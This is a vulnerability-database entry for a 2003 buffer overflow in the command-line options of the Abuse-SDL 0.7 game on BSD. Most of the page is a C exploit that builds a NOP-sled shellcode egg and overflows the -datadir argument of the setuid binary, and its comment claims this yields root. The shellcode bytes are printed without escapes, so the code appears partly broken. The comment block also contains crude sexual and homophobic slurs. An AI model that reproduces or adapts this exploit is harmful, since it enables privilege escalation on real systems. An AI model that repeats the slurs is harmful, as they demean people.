Abuse-SDL 0.7 – Command Line Argument Buffer Overflow
漏洞ID | 1053974 | 漏洞类型 | |
发布时间 | 2003-06-19 | 更新时间 | 2003-06-19 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | BSD | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/7982/info
A buffer overflow vulnerability has been reported for Abuse-SDL that may result in the execution of attacker-supplied code. The vulnerability exists due to insufficient bounds checking performed on certain command-line options.
/*
hey all.. this is a l33t 0x36 0day exploit by Matrix_DK :)
This should give root, i give root to by the way,
on all BSD systems with abuse installed.
-r-xr-xr-x 1 root wheel 675344 Jun 18 13:37
hi hi owned by root group wheel.. this is a hacker goodie
I hoped abuse was my favorite game assabuse portet to unix..
so i tried to load pics of my boyfriend johnlw ass into the game
using -datadir... but the program died???
could this be exploitet???
i tried to exploit this myself, but i have no skillz. So i
asked the other gays from 0x36, but there did not know how
to do this hardcore command line overflows.
I asked inv, but he told me to go ass fuck casto... inv is l33t
he knows many exploit tricks.. he is my hero..
So i had to steal some code from
'smashing the stack for fun and profit' to get it to work...
but now i have become a hacker i am going to send out many
advisories so other people know im a hacker.. and one day maybe if
i am lucky i can send out some exploits to.. but i have to get some
unix, debug and code skillz first...
i have made the shellcode myself.. look how l33t it is, it prints
'what is the matrix ?' :).. that is cool.. us real hackers love the
matrix, we jerk off to trinity in slow motion, and use nicks from
the movie.
*/
#include <stdlib.h>
#define DEFAULT_BUFFER_SIZE 350
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] = "x31xc0x50x68x69x78x20x3fx68x6d"
"x61x74x72x68x74x68x65x20x68x20"
"x69x73x20x68x77x68x61x74x89xe3"
"x6ax14x53x50x50xb0x04xcdx80x31"
"xc0xb0x01xcdx80";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
int main() {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
addr = get_esp();
buff = malloc(bsize);
egg = malloc(eggsize);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = ' ';
egg[eggsize - 1] = ' ';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("/usr/local/bin/abuse.sdl -datadir $RET");
}
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